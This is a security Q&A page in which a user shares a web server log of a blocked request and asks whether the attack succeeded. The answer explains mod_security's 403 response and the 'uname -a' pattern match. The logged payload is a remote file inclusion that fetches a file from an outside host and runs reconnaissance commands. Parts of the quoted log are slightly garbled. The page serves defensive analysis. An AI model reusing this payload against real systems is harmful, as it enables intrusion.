Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I have the following Wireshark log and I want to categorize the attack. I think it prints the user under apache runs and then prints the system information. From this log can we determine if the attack was succesful? In my opinion it was not because of the apache's mod-security.

Request: [19/Jan/2012:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
POST lindex.php HTTP/1.1
Connection: keep-alive
Accept: '/'
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
mod_security-message: Access denied with code 403. Pattern match "unamelx20-a" at
mod_security-action: 403

lid=http://th3.ownz. p5. org. uk/lila.jpg?&cmd=cd /Imp; id; lsuname -a
share|improve this question

mod_security sent the user a HTTP 403 response, which means (quoted from RFC 2616):

The server understood the request, but is refusing to fulfill it. Authorization will not help and the request SHOULD NOT be repeated. If the request method was not HEAD and the server wishes to make public why the request has not been fulfilled, it SHOULD describe the reason for the refusal in the entity. If the server does not wish to make this information available to the client, the status code 404 (Not Found) can be used instead.

The reason for this block is it matched the pattern "uname -a" which is a unix command for returning system information. Here is an example output of such command:

Linux k4rrax 2.6.35-32-generic #64-Ubuntu SMP Mon Jan 2 23:31:33 UTC 2012 i686 GNU/Linux

This "attack" is probably just a random scriptkiddie or bot trying to see if it can exploit you in any way. It is very commonly seen on the internet. The origin IP adress is already blacklisted several places:

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.